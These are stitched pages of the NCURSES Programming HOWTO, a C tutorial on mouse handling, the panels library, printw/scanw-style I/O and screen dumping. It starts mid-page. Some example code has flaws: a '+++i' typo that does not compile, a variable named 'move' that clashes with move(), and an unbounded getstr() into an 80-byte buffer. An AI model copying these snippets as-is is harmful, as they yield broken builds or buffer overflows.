            .    /* Do some thing with the event */
            .
            .

getmouse() returns the event into the pointer given to it. It's a structure which contains

    typedef struct
    {
        short id;         /* ID to distinguish multiple devices */
        int x, y, z;      /* event coordinates */
        mmask_t bstate;   /* button state bits */
    }

The bstate is the main variable we are interested in. It tells the button state of the mouse.

Then with a code snippet like the following, we can find out what happened.

    if(event.bstate & BUTTON1_PRESSED)
        printw("Left Button Pressed");

12.3. Putting it all Together

That's pretty much interfacing with mouse. Let's create the same menu and enable mouse interaction. To make things simpler, key handling is removed.

Example 11. Access the menu with mouse !!!

/* File Path: basics/mouse_menu.c */
#include <ncurses.h>

#define WIDTH 30
#define HEIGHT 10

int startx = 0;
int starty = 0;

char *choices[] = {     "Choice 1",
            "Choice 2",
            "Choice 3",
            "Choice 4",
            "Exit",
          };

int n_choices = sizeof(choices) / sizeof(char *);

void print_menu(WINDOW *menu_win, int highlight);
void report_choice(int mouse_x, int mouse_y, int *p_choice);

int main()
{    int c, choice = 0;
    WINDOW *menu_win;
    MEVENT event;

    /* Initialize curses */
    initscr();
    clear();
    noecho();
    cbreak();    //Line buffering disabled. pass on everything

    /* Try to put the window in the middle of screen */
    startx = (80 - WIDTH) / 2;
    starty = (24 - HEIGHT) / 2;

    attron(A_REVERSE);
    mvprintw(23, 1, "Click on Exit to quit");
    refresh();
    attroff(A_REVERSE);

    /* Print the menu for the first time */
    menu_win = newwin(HEIGHT, WIDTH, starty, startx);
    print_menu(menu_win, 1);
    /* Get all the mouse events */
    mousemask(ALL_MOUSE_EVENTS, NULL);

    while(1)
    {    c = wgetch(menu_win);
        switch(c)
        {    case KEY_MOUSE:
            if(getmouse(&event) == OK)
            {    /* When the user clicks left mouse button */
                if(event.bstate & BUTTON1_PRESSED)
                {    report_choice(event.x + 1, event.y + 1, &choice);
                    if(choice == -1) //Exit chosen
                        goto end;
                    mvprintw(22, 1, "Choice made is : %d String Chosen is \"%10s\"", choice, choices[choice - 1]);
                    refresh();
                }
            }
            print_menu(menu_win, choice);
            break;
        }
    }
end:
    endwin();
    return 0;
}

void print_menu(WINDOW *menu_win, int highlight)
{
    int x, y, i;

    x = 2;
    y = 2;
    box(menu_win, 0, 0);
    for(i = 0; i < n_choices; ++i)
    {    if(highlight == i + 1)
        {    wattron(menu_win, A_REVERSE);
            mvwprintw(menu_win, y, x, "%s", choices[i]);
            wattroff(menu_win, A_REVERSE);
        }
        else
            mvwprintw(menu_win, y, x, "%s", choices[i]);
        ++y;
    }
    wrefresh(menu_win);
}

/* Report the choice according to mouse position */
void report_choice(int mouse_x, int mouse_y, int *p_choice)
{    int i,j, choice;

    i = startx + 2;
    j = starty + 3;

    for(choice = 0; choice < n_choices; ++choice)
        if(mouse_y == j + choice && mouse_x >= i && mouse_x <= i + strlen(choices[choice]))
        {    if(choice == n_choices - 1)
                *p_choice = -1;
            else
                *p_choice = choice + 1;
            break;
        }
}

12.4. Miscellaneous Functions

The functions mouse_trafo() and wmouse_trafo() can be used to convert to mouse co-ordinates to screen relative co-ordinates. See curs_mouse(3X) man page for details.

The mouseinterval function sets the maximum time (in thousands of a second) that can elapse between press and release events in order for them to be recognized as a click. This function returns the previous interval value. The default is one fifth of a second.

Prev | Home | Next
Key management. How to read function keys, arrow keys etc.. |  | Screen Manipulation


Other libraries

NCURSES Programming HOWTO
Prev Next

15. Other libraries

Apart from the curses library, there are few text mode libraries, which provide more functionality and a lot of features. The following sections explain three standard libraries which are usually distributed along with curses.

Prev | Home | Next
Miscellaneous features |  | Panel Library


Panel Library

NCURSES Programming HOWTO
Prev Next

16. Panel Library

Now that you are proficient in curses, you wanted to do some thing big. You created a lot of overlapping windows to give a professional windows-type look. Unfortunately, it soon becomes difficult to manage these. The multiple refreshes, updates plunge you into a nightmare. The overlapping windows create blotches, whenever you forget to refresh the windows in the proper order.

Don't despair. There's an elegant solution provided in panels library. In the words of developers of ncurses

When your interface design is such that windows may dive deeper into the visibility stack or pop to the top at runtime, the resulting book-keeping can be tedious and difficult to get right. Hence the panels library.

If you have lot of overlapping windows, then panels library is the way to go. It obviates the need of doing series of wnoutrefresh(), doupdate() and relieves the burden of doing it correctly(bottom up). The library maintains information about the order of windows, their overlapping and update the screen properly. So why wait? Let's take a close peek into panels.

16.1. The Basics

Panel object is a window that is implicitly treated as part of a deck including all other panel objects. The deck is treated as a stack with the top panel being completely visible and the other panels may or may not be obscured according to their positions. So the basic idea is to create a stack of overlapping panels and use panels library to display them correctly. There is a function similar to refresh() which, when called , displays panels in the correct order. Functions are provided to hide or show panels, move panels, change its size etc.. The overlapping problem is managed by the panels library during all the calls to these functions.

The general flow of a panel program goes like this:

  1. Create the windows (with newwin()) to be attached to the panels.

  2. Create panels with the chosen visibility order. Stack them up according to the desired visibility. The function new_panel() is used to created panels.

  3. Call update_panels() to write the panels to the virtual screen in correct visibility order. Do a doupdate() to show it on the screen.

  4. Mainpulate the panels with show_panel(), hide_panel(), move_panel() etc. Make use of helper functions like panel_hidden() and panel_window(). Make use of user pointer to store custom data for a panel. Use the functions set_panel_userptr() and panel_userptr() to set and get the user pointer for a panel.

  5. When you are done with the panel use del_panel() to delete the panel.

Let's make the concepts clear, with some programs. The following is a simple program which creates 3 overlapping panels and shows them on the screen.

16.2. Compiling With the Panels Library

To use panels library functions, you have to include panel.h and to link the program with panels library the flag -lpanel should be added along with -lncurses in that order.

    #include <panel.h>
    .
    .
    .

    compile and link: gcc <program file> -lpanel -lncurses

Example 14. Panel basics

/* File Path: panels/panel_simple.c */
#include <panel.h>

int main()
{    WINDOW *my_wins[3];
    PANEL  *my_panels[3];
    int lines = 10, cols = 40, y = 2, x = 4, i;

    initscr();
    cbreak();
    noecho();

    /* Create windows for the panels */
    my_wins[0] = newwin(lines, cols, y, x);
    my_wins[1] = newwin(lines, cols, y + 1, x + 5);
    my_wins[2] = newwin(lines, cols, y + 2, x + 10);

    /*
     * Create borders around the windows so that you can see the effect
     * of panels
     */
    for(i = 0; i < 3; +++i)
        box(my_wins[i], 0, 0);

    /* Attach a panel to each window */     /* Order is bottom up */
    my_panels[0] = new_panel(my_wins[0]);     /* Push 0, order: stdscr-0 */
    my_panels[1] = new_panel(my_wins[1]);     /* Push 1, order: stdscr-0-1 */
    my_panels[2] = new_panel(my_wins[2]);     /* Push 2, order: stdscr-0-1-2 */

    /* Update the stacking order. 2nd panel will be on top */
    update_panels();

    /* Show it on the screen */
    doupdate();

    getch();
    endwin();
}

As you can see, above program follows a simple flow as explained. The windows are created with newwin() and then they are attached to panels with new_panel(). As we attach one panel after another, the stack of panels gets updated. To put them on screen update_panels() and doupdate() are called.

16.3. Panel Window Browsing

A slightly complicated example is given below. This program creates 3 windows which can be cycled through using tab. Have a look at the code.

Example 15. Panel Window Browsing Example

/* File Path: panels/panel_browse.c */
#include <panel.h>

#define NLINES 10
#define NCOLS 40

void init_wins(WINDOW **wins, int n);
void win_show(WINDOW *win, char *label, int label_color);
void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color);

int main()
{    WINDOW *my_wins[3];
    PANEL  *my_panels[3];
    PANEL  *top;
    int ch;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize all the colors */
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_GREEN, COLOR_BLACK);
    init_pair(3, COLOR_BLUE, COLOR_BLACK);
    init_pair(4, COLOR_CYAN, COLOR_BLACK);

    init_wins(my_wins, 3);

    /* Attach a panel to each window */     /* Order is bottom up */
    my_panels[0] = new_panel(my_wins[0]);     /* Push 0, order: stdscr-0 */
    my_panels[1] = new_panel(my_wins[1]);     /* Push 1, order: stdscr-0-1 */
    my_panels[2] = new_panel(my_wins[2]);     /* Push 2, order: stdscr-0-1-2 */

    /* Set up the user pointers to the next panel */
    set_panel_userptr(my_panels[0], my_panels[1]);
    set_panel_userptr(my_panels[1], my_panels[2]);
    set_panel_userptr(my_panels[2], my_panels[0]);

    /* Update the stacking order. 2nd panel will be on top */
    update_panels();

    /* Show it on the screen */
    attron(COLOR_PAIR(4));
    mvprintw(LINES - 2, 0, "Use tab to browse through the windows (F1 to Exit)");
    attroff(COLOR_PAIR(4));
    doupdate();

    top = my_panels[2]; /* Store the top panel pointer */
    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case 9:
                top = (PANEL *)panel_userptr(top); /* Find out the next panel in the cycle */
                top_panel(top); /* Make it as the top panel */
                break;
        }
        update_panels();
        doupdate();
    }
    endwin();
    return 0;
}

/* Put all the windows */
void init_wins(WINDOW **wins, int n)
{    int x, y, i;
    char label[80];

    y = 2;
    x = 10;
    for(i = 0; i < n; ++i)
    {    wins[i] = newwin(NLINES, NCOLS, y, x);
        sprintf(label, "Window Number %d", i + 1);
        win_show(wins[i], label, i + 1);
        y += 3;
        x += 7;
    }
}

/* Show the window with a border and a label */
void win_show(WINDOW *win, char *label, int label_color)
{    int startx, starty, height, width;

    getbegyx(win, starty, startx);
    getmaxyx(win, height, width);

    box(win, 0, 0);
    mvwaddch(win, 2, 0, ACS_LTEE);
    mvwhline(win, 2, 1, ACS_HLINE, width - 2);
    mvwaddch(win, 2, width - 1, ACS_RTEE);

    print_in_middle(win, 1, 0, width, label, COLOR_PAIR(label_color));
}

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color)
{    int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    wattron(win, color);
    mvwprintw(win, y, x, "%s", string);
    wattroff(win, color);
    refresh();
}

16.4. Using User Pointers

In the above example I used user pointers to find out the next window in the cycle. We can attach custom information to the panel by specifying a user pointer, which can point to any information you want to store. In this case I stored the pointer to the next panel in the cycle. User pointer for a panel can be set with the function set_panel_userptr(). It can be accessed using the function panel_userptr() which will return the user pointer for the panel given as argument. After finding the next panel in the cycle It's brought to the top by the function top_panel(). This function brings the panel given as argument to the top of the panel stack.

16.5. Moving and Resizing Panels

The function move_panel() can be used to move a panel to the desired location. It does not change the position of the panel in the stack. Make sure that you use move_panel() instead mvwin() on the window associated with the panel.

Resizing a panel is slightly complex. There is no straight forward function just to resize the window associated with a panel. A solution to resize a panel is to create a new window with the desired sizes, change the window associated with the panel using replace_panel(). Don't forget to delete the old window. The window associated with a panel can be found by using the function panel_window().

The following program shows these concepts, in supposedly simple program. You can cycle through the window with <TAB> as usual. To resize or move the active panel press 'r' for resize 'm' for moving. Then use arrow keys to resize or move it to the desired way and press enter to end your resizing or moving. This example makes use of user data to get the required data to do the operations.

Example 16. Panel Moving and Resizing example

/* File Path: panels/panel_resize.c */
#include <panel.h>

typedef struct _PANEL_DATA {
    int x,  /* Startx */
    y,      /* Starty */
    w,      /* Width  */
    h;      /* Height */
    char label[80];  /* Label for the window */
    int label_color; /* Color number for the label */
    PANEL *next;     /* Pointer to the next Panel in the cycle */
}PANEL_DATA;

#define NLINES 10
#define NCOLS 40

void init_wins(WINDOW **wins, int n);
void win_show(WINDOW *win, char *label, int label_color);
void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color);
void set_user_ptrs(PANEL **panels, int n);

int main()
{    WINDOW *my_wins[3];
    PANEL  *my_panels[3];
    PANEL_DATA  *top;
    PANEL *stack_top;
    WINDOW *temp_win, *old_win;
    int ch;
    int newx, newy, neww, newh;
    int size = FALSE, move = FALSE;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize all the colors */
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_GREEN, COLOR_BLACK);
    init_pair(3, COLOR_BLUE, COLOR_BLACK);
    init_pair(4, COLOR_CYAN, COLOR_BLACK);

    init_wins(my_wins, 3);

    /* Attach a panel to each window */     /* Order is bottom up */
    my_panels[0] = new_panel(my_wins[0]);     /* Push 0, order: stdscr-0 */
    my_panels[1] = new_panel(my_wins[1]);     /* Push 1, order: stdscr-0-1 */
    my_panels[2] = new_panel(my_wins[2]);     /* Push 2, order: stdscr-0-1-2 */

    set_user_ptrs(my_panels, 3);
    /* Update the stacking order. 2nd panel will be on top */
    update_panels();

    /* Show it on the screen */
    attron(COLOR_PAIR(4));
    mvprintw(LINES - 2, 0, "Use tab to browse through the windows (F1 to Exit)");
    attroff(COLOR_PAIR(4));
    doupdate();

    stack_top = my_panels[2];
    top = (PANEL_DATA *)panel_userptr(stack_top);
    newx = top->x;
    newy = top->y;
    neww = top->w;
    newh = top->h;
    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case 9:        /* Tab */
                top = (PANEL_DATA *)panel_userptr(stack_top);
                top_panel(top->next);
                stack_top = top->next;
                top = (PANEL_DATA *)panel_userptr(stack_top);
                newx = top->x;
                newy = top->y;
                neww = top->w;
                newh = top->h;
                break;
            case 'r':    /* Re-Size*/
                size = TRUE;
                attron(COLOR_PAIR(4));
                mvprintw(LINES - 3, 0, "Entered Resizing :Use Arrow Keys to resize and press <ENTER> to end resizing");
                refresh();
                attroff(COLOR_PAIR(4));
                break;
            case 'm':    /* Move */
                attron(COLOR_PAIR(4));
                mvprintw(LINES - 3, 0, "Entered Moving: Use Arrow Keys to Move and press <ENTER> to end moving");
                refresh();
                attroff(COLOR_PAIR(4));
                move = TRUE;
                break;
            case KEY_LEFT:
                if(size == TRUE)
                {    --newx;
                    ++neww;
                }
                if(move == TRUE)
                    --newx;
                break;
            case KEY_RIGHT:
                if(size == TRUE)
                {    ++newx;
                    --neww;
                }
                if(move == TRUE)
                    ++newx;
                break;
            case KEY_UP:
                if(size == TRUE)
                {    --newy;
                    ++newh;
                }
                if(move == TRUE)
                    --newy;
                break;
            case KEY_DOWN:
                if(size == TRUE)
                {    ++newy;
                    --newh;
                }
                if(move == TRUE)
                    ++newy;
                break;
            case 10:    /* Enter */
                move(LINES - 3, 0);
                clrtoeol();
                refresh();
                if(size == TRUE)
                {    old_win = panel_window(stack_top);
                    temp_win = newwin(newh, neww, newy, newx);
                    replace_panel(stack_top, temp_win);
                    win_show(temp_win, top->label, top->label_color);
                    delwin(old_win);
                    size = FALSE;
                }
                if(move == TRUE)
                {    move_panel(stack_top, newy, newx);
                    move = FALSE;
                }
                break;

        }
        update_panels();
        doupdate();
    }
    endwin();
    return 0;
}

/* Put all the windows */
void init_wins(WINDOW **wins, int n)
{    int x, y, i;
    char label[80];

    y = 2;
    x = 10;
    for(i = 0; i < n; ++i)
    {    wins[i] = newwin(NLINES, NCOLS, y, x);
        sprintf(label, "Window Number %d", i + 1);
        win_show(wins[i], label, i + 1);
        y += 3;
        x += 7;
    }
}

/* Set the PANEL_DATA structures for individual panels */
void set_user_ptrs(PANEL **panels, int n)
{    PANEL_DATA *ptrs;
    WINDOW *win;
    int x, y, w, h, i;
    char temp[80];

    ptrs = (PANEL_DATA *)calloc(n, sizeof(PANEL_DATA));

    for(i = 0;i < n; ++i)
    {    win = panel_window(panels[i]);
        getbegyx(win, y, x);
        getmaxyx(win, h, w);
        ptrs[i].x = x;
        ptrs[i].y = y;
        ptrs[i].w = w;
        ptrs[i].h = h;
        sprintf(temp, "Window Number %d", i + 1);
        strcpy(ptrs[i].label, temp);
        ptrs[i].label_color = i + 1;
        if(i + 1 == n)
            ptrs[i].next = panels[0];
        else
            ptrs[i].next = panels[i + 1];
        set_panel_userptr(panels[i], &ptrs[i]);
    }
}

/* Show the window with a border and a label */
void win_show(WINDOW *win, char *label, int label_color)
{    int startx, starty, height, width;

    getbegyx(win, starty, startx);
    getmaxyx(win, height, width);

    box(win, 0, 0);
    mvwaddch(win, 2, 0, ACS_LTEE);
    mvwhline(win, 2, 1, ACS_HLINE, width - 2);
    mvwaddch(win, 2, width - 1, ACS_RTEE);

    print_in_middle(win, 1, 0, width, label, COLOR_PAIR(label_color));
}

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color)
{    int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    wattron(win, color);
    mvwprintw(win, y, x, "%s", string);
    wattroff(win, color);
    refresh();
}

Concentrate on the main while loop. Once it finds out the type of key pressed, it takes appropriate action. If 'r' is pressed resizing mode is started. After this the new sizes are updated as the user presses the arrow keys. When the user presses <ENTER> present selection ends and panel is resized by using the concept explained. While in resizing mode the program doesn't show how the window is getting resized. It's left as an exercise to the reader to print a dotted border while it gets resized to a new position.

When the user presses 'm' the move mode starts. This is a bit simpler than resizing. As the arrow keys are pressed the new position is updated and pressing of <ENTER> causes the panel to be moved by calling the function move_panel().

In this program the user data which is represented as PANEL_DATA, plays very important role in finding the associated information with a panel. As written in the comments, the PANEL_DATA stores the panel sizes, label, label color and a pointer to the next panel in the cycle.

16.6. Hiding and Showing Panels

A Panel can be hidden by using the function hide_panel(). This function merely removes it form the stack of panels, thus hiding it on the screen once you do update_panels() and doupdate(). It doesn't destroy the PANEL structure associated with the hidden panel. It can be shown again by using the show_panel() function.

The following program shows the hiding of panels. Press 'a' or 'b' or 'c' to show or hide first, second and third windows respectively. It uses a user data with a small variable hide, which keeps track of whether the window is hidden or not. For some reason the function panel_hidden() which tells whether a panel is hidden or not is not working. A bug report was also presented by Michael Andres here

Example 17. Panel Hiding and Showing example

/* File Path: panels/panel_hide.c */
#include <panel.h>

typedef struct _PANEL_DATA {
    int hide;    /* TRUE if panel is hidden */
}PANEL_DATA;

#define NLINES 10
#define NCOLS 40

void init_wins(WINDOW **wins, int n);
void win_show(WINDOW *win, char *label, int label_color);
void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color);

int main()
{    WINDOW *my_wins[3];
    PANEL  *my_panels[3];
    PANEL_DATA panel_datas[3];
    PANEL_DATA *temp;
    int ch;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize all the colors */
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_GREEN, COLOR_BLACK);
    init_pair(3, COLOR_BLUE, COLOR_BLACK);
    init_pair(4, COLOR_CYAN, COLOR_BLACK);

    init_wins(my_wins, 3);

    /* Attach a panel to each window */     /* Order is bottom up */
    my_panels[0] = new_panel(my_wins[0]);     /* Push 0, order: stdscr-0 */
    my_panels[1] = new_panel(my_wins[1]);     /* Push 1, order: stdscr-0-1 */
    my_panels[2] = new_panel(my_wins[2]);     /* Push 2, order: stdscr-0-1-2 */

    /* Initialize panel datas saying that nothing is hidden */
    panel_datas[0].hide = FALSE;
    panel_datas[1].hide = FALSE;
    panel_datas[2].hide = FALSE;

    set_panel_userptr(my_panels[0], &panel_datas[0]);
    set_panel_userptr(my_panels[1], &panel_datas[1]);
    set_panel_userptr(my_panels[2], &panel_datas[2]);

    /* Update the stacking order. 2nd panel will be on top */
    update_panels();

    /* Show it on the screen */
    attron(COLOR_PAIR(4));
    mvprintw(LINES - 3, 0, "Show or Hide a window with 'a'(first window)  'b'(Second Window)  'c'(Third Window)");
    mvprintw(LINES - 2, 0, "F1 to Exit");

    attroff(COLOR_PAIR(4));
    doupdate();

    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case 'a':
                temp = (PANEL_DATA *)panel_userptr(my_panels[0]);
                if(temp->hide == FALSE)
                {    hide_panel(my_panels[0]);
                    temp->hide = TRUE;
                }
                else
                {    show_panel(my_panels[0]);
                    temp->hide = FALSE;
                }
                break;
            case 'b':
                temp = (PANEL_DATA *)panel_userptr(my_panels[1]);
                if(temp->hide == FALSE)
                {    hide_panel(my_panels[1]);
                    temp->hide = TRUE;
                }
                else
                {    show_panel(my_panels[1]);
                    temp->hide = FALSE;
                }
                break;
            case 'c':
                temp = (PANEL_DATA *)panel_userptr(my_panels[2]);
                if(temp->hide == FALSE)
                {    hide_panel(my_panels[2]);
                    temp->hide = TRUE;
                }
                else
                {    show_panel(my_panels[2]);
                    temp->hide = FALSE;
                }
                break;
        }
        update_panels();
        doupdate();
    }
    endwin();
    return 0;
}

/* Put all the windows */
void init_wins(WINDOW **wins, int n)
{    int x, y, i;
    char label[80];

    y = 2;
    x = 10;
    for(i = 0; i < n; ++i)
    {    wins[i] = newwin(NLINES, NCOLS, y, x);
        sprintf(label, "Window Number %d", i + 1);
        win_show(wins[i], label, i + 1);
        y += 3;
        x += 7;
    }
}

/* Show the window with a border and a label */
void win_show(WINDOW *win, char *label, int label_color)
{    int startx, starty, height, width;

    getbegyx(win, starty, startx);
    getmaxyx(win, height, width);

    box(win, 0, 0);
    mvwaddch(win, 2, 0, ACS_LTEE);
    mvwhline(win, 2, 1, ACS_HLINE, width - 2);
    mvwaddch(win, 2, width - 1, ACS_RTEE);

    print_in_middle(win, 1, 0, width, label, COLOR_PAIR(label_color));
}

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color)
{    int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    wattron(win, color);
    mvwprintw(win, y, x, "%s", string);
    wattroff(win, color);
    refresh();
}

16.7. panel_above() and panel_below() Functions

The functions panel_above() and panel_below() can be used to find out the panel above and below a panel. If the argument to these functions is NULL, then they return a pointer to bottom panel and top panel respectively.

Prev | Home | Next
Other libraries |  | Menus Library


About output functions like printw()

NCURSES Programming HOWTO
Prev Next

6. About output functions like printw()

I guess you can't wait any more to see some action. Back to our odyssey of curses functions. Now that curses is initialized, let's interact with world.

There are three classes of functions which you can use to do output on screen.

  1. addch() class: Print single character with attributes

  2. printw() class: Print formatted output similar to printf()

  3. addstr() class: Print strings

These functions can be used interchangeably and it's a matter of style as to which class is used. Let's see each one in detail.

6.1. addch() class of functions

These functions put a single character into the current cursor location and advance the position of the cursor. You can give the character to be printed but they usually are used to print a character with some attributes. Attributes are explained in detail in later sections of the document. If a character is associated with an attribute(bold, reverse video etc.), when curses prints the character, it is printed in that attribute.

In order to combine a character with some attributes, you have two options:

  • By OR'ing a single character with the desired attribute macros. These attribute macros could be found in the header file ncurses.h. For example, you want to print a character ch(of type char) bold and underlined, you would call addch() as below.
        addch(ch | A_BOLD | A_UNDERLINE);

  • By using functions like attrset(),attron(),attroff(). These functions are explained in the Attributes section. Briefly, they manipulate the current attributes of the given window. Once set, the character printed in the window are associated with the attributes until it is turned off.

Additionally, curses provides some special characters for character-based graphics. You can draw tables, horizontal or vertical lines, etc. You can find all avaliable characters in the header file ncurses.h. Try looking for macros beginning with ACS_ in this file.

6.2. mvaddch(), waddch() and mvwaddch()

mvaddch() is used to move the cursor to a given point, and then print. Thus, the calls:
    move(row,col);    /* moves the cursor to rowth row and colth column */
    addch(ch);
can be replaced by
    mvaddch(row,col,ch);

waddch() is similar to addch(), except that it adds a character into the given window. (Note that addch() adds a character into the window stdscr.)

In a similar fashion mvwaddch() function is used to add a character into the given window at the given coordinates.

Now, we are familiar with the basic output function addch(). But, if we want to print a string, it would be very annoying to print it character by character. Fortunately, ncurses provides printf-like or puts-like functions.

6.3. printw() class of functions

These functions are similar to printf() with the added capability of printing at any position on the screen.

6.3.1. printw() and mvprintw

These two functions work much like printf(). mvprintw() can be used to move the cursor to a position and then print. If you want to move the cursor first and then print using printw() function, use move() first and then use printw() though I see no point why one should avoid using mvprintw(), you have the flexibility to manipulate.

6.3.2. wprintw() and mvwprintw

These two functions are similar to above two except that they print in the corresponding window given as argument.

6.3.3. vwprintw()

This function is similar to vprintf(). This can be used when variable number of arguments are to be printed.

6.3.4. A Simple printw example

Example 3. A Simple printw example

/* File path: basics/printw_example.c */
#include <ncurses.h>  /* ncurses.h includes stdio.h */
#include <string.h>

int main()
{
 char mesg[]="Just a string"; /* message to be appeared on the screen */
 int row,col;                 /* to store the number of rows and *
                               * the number of columns of the screen */
 initscr();                   /* start the curses mode */
 getmaxyx(stdscr,row,col);    /* get the number of rows and columns */
 mvprintw(row/2,(col-strlen(mesg))/2,"%s",mesg);
                             /* print the message at the center of the screen */
 mvprintw(row-2,0,"This screen has %d rows and %d columns\n",row,col);
 printw("Try resizing your window(if possible) and then run this program again");
 refresh();
 getch();
 endwin();

 return 0;
}

Above program demonstrates how easy it is to use printw. You just feed the coordinates and the message to be appeared on the screen, then it does what you want.

The above program introduces us to a new function getmaxyx(), a macro defined in ncurses.h. It gives the number of columns and the number of rows in a given window. getmaxyx() does this by updating the variables given to it. Since getmaxyx() is not a function we don't pass pointers to it, we just give two integer variables.

6.4. addstr() class of functions

addstr() is used to put a character string into a given window. This function is similar to calling addch() once for each character in a given string. This is true for all output functions. There are other functions from this family such as mvaddstr(),mvwaddstr() and waddstr(), which obey the naming convention of curses.(e.g. mvaddstr() is similar to the respective calls move() and then addstr().) Another function of this family is addnstr(), which takes an integer parameter(say n) additionally. This function puts at most n characters into the screen. If n is negative, then the entire string will be added.

6.5. A word of caution

All these functions take y co-ordinate first and then x in their arguments. A common mistake by beginners is to pass x,y in that order. If you are doing too many manipulations of (y,x) co-ordinates, think of dividing the screen into windows and manipulate each one separately. Windows are explained in the windows section.

Prev | Home | Next
A Word about Windows |  | About input functions like scanw()


About input functions like scanw()

NCURSES Programming HOWTO
Prev Next

7. About input functions like scanw()

Well, printing without taking input, is boring. Let's see functions which allow us to get input from user. These functions also can be divided into three categories.

  1. getch() class: Get a character

  2. scanw() class: Get formatted input

  3. getstr() class: Get strings

7.1. getch() class of functions

These functions read a single character from the terminal. But there are several subtle facts to consider. For example if you don't use the function cbreak(), curses will not read your input characters contiguously but will begin read them only after a new line or an EOF is encountered. In order to avoid this, the cbreak() function must used so that characters are immediately available to your program. Another widely used function is noecho(). As the name suggests, when this function is set (used), the characters that are keyed in by the user will not show up on the screen. The two functions cbreak() and noecho() are typical examples of key management. Functions of this genre are explained in the key management section .

7.2. scanw() class of functions

These functions are similar to scanf() with the added capability of getting the input from any location on the screen.

7.2.1. scanw() and mvscanw

The usage of these functions is similar to that of sscanf(), where the line to be scanned is provided by wgetstr() function. That is, these functions call to wgetstr() function(explained below) and uses the resulting line for a scan.

7.2.2. wscanw() and mvwscanw()

These are similar to above two functions except that they read from a window, which is supplied as one of the arguments to these functions.

7.2.3. vwscanw()

This function is similar to vscanf(). This can be used when a variable number of arguments are to be scanned.

7.3. getstr() class of functions

These functions are used to get strings from the terminal. In essence, this function performs the same task as would be achieved by a series of calls to getch() until a newline, carriage return, or end-of-file is received. The resulting string of characters are pointed to by str, which is a character pointer provided by the user.

7.4. Some examples

Example 4. A Simple scanw example

/* File path: basics/scanw_example.c */
#include <ncurses.h>  /* ncurses.h includes stdio.h */
#include <string.h>

int main()
{
 char mesg[]="Enter a string: ";    /* message to be appeared on the screen */
 char str[80];
 int row,col;                       /* to store the number of rows and    *
                                     * the number of columns of the screen */
 initscr();                         /* start the curses mode */
 getmaxyx(stdscr,row,col);          /* get the number of rows and columns */
 mvprintw(row/2,(col-strlen(mesg))/2,"%s",mesg);
                             /* print the message at the center of the screen */
 getstr(str);
 mvprintw(23, 0, "You Entered: %s", str);
 getch();
 endwin();

 return 0;
}

Prev | Home | Next
About output functions like printw() |  | Attributes


Screen Manipulation

NCURSES Programming HOWTO
Prev Next

13. Screen Manipulation

In this section, we will look into some functions, which allow us to manage the screen efficiently and to write some fancy programs. This is especially important in writing games.

13.1. getyx() functions

The function getyx() can be used to find out the present cursor co-ordinates. It will fill the values of x and y co-ordinates in the arguments given to it. Since getyx() is a macro you don't have to pass the address of the variables. It can be called as

    getyx(win, y, x);
    /* win: window pointer
     *   y, x: y, x co-ordinates will be put into this variables
     */

The function getparyx() gets the beginning co-ordinates of the sub window relative to the main window. This is some times useful to update a sub window. When designing fancy stuff like writing multiple menus, it becomes difficult to store the menu positions, their first option co-ordinates etc. A simple solution to this problem, is to create menus in sub windows and later find the starting co-ordinates of the menus by using getparyx().

The functions getbegyx() and getmaxyx() store current window's beginning and maximum co-ordinates. These functions are useful in the same way as above in managing the windows and sub windows effectively.

13.2. Screen Dumping

While writing games, some times it becomes necessary to store the state of the screen and restore it back to the same state. The function scr_dump() can be used to dump the screen contents to a file given as an argument. Later it can be restored by scr_restore function. These two simple functions can be used effectively to maintain a fast moving game with changing scenarios.

13.3. Window Dumping

To store and restore windows, the functions putwin() and getwin() can be used. putwin() puts the present window state into a file, which can be later restored by getwin().

The function copywin() can be used to copy a window completely onto another window. It takes the source and destination windows as parameters and according to the rectangle specified, it copies the rectangular region from source to destination window. It's last parameter specifies whether to overwrite or just overlay the contents on to the destination window. If this argument is true, then the copying is non-destructive.

Prev | Home | Next
Interfacing with the mouse |  | Miscellaneous features


Tools and Widget Libraries

NCURSES Programming HOWTO
Prev Next

19. Tools and Widget Libraries

Now that you have seen the capabilities of ncurses and its sister libraries, you are rolling your sleeves up and gearing for a project that heavily manipulates screen. But wait.. It can be pretty difficult to write and maintain complex GUI widgets in plain ncurses or even with the additional libraries. There are some ready-to-use tools and widget libraries that can be used instead of writing your own widgets. You can use some of them, get ideas from the code, or even extend them.

19.1. CDK (Curses Development Kit)

In the author's words

CDK stands for 'Curses Development Kit' and it currently contains 21 ready to use widgets which facilitate the speedy development of full screen curses programs.

The kit provides some useful widgets, which can be used in your programs directly. It's pretty well written and the documentation is very good. The examples in the examples directory can be a good place to start for beginners. The CDK can be downloaded from http://www.vexus.ca/release/cdk.tar.gz . Follow the instructions in README file to install it.

19.1.1. Widget List

